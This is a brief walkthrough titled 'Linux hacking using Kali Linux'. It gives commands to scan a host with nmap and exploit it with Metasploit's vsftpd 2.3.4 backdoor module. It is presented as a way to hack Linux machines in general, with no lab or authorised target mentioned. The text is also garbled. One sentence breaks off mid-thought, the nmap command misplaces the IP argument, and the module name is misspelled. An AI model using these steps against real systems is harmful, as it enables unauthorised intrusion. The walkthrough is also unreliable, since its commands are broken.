LINUX HACKING USING KALI LINUX

Here I am describing the steps followed to hack **Linux** because due to some technical issue

Step one

Get the Ip address

Step two

Scan it using nmap scanning

Sudo nmap -Pn -sC -sV -oN {ip address}

Step three

Start **msfconsole use exploit/unix/ftp/vsftp_234_backdoor**

Step four

Set rhost {Ip address} exploit

Then the details will be displayed
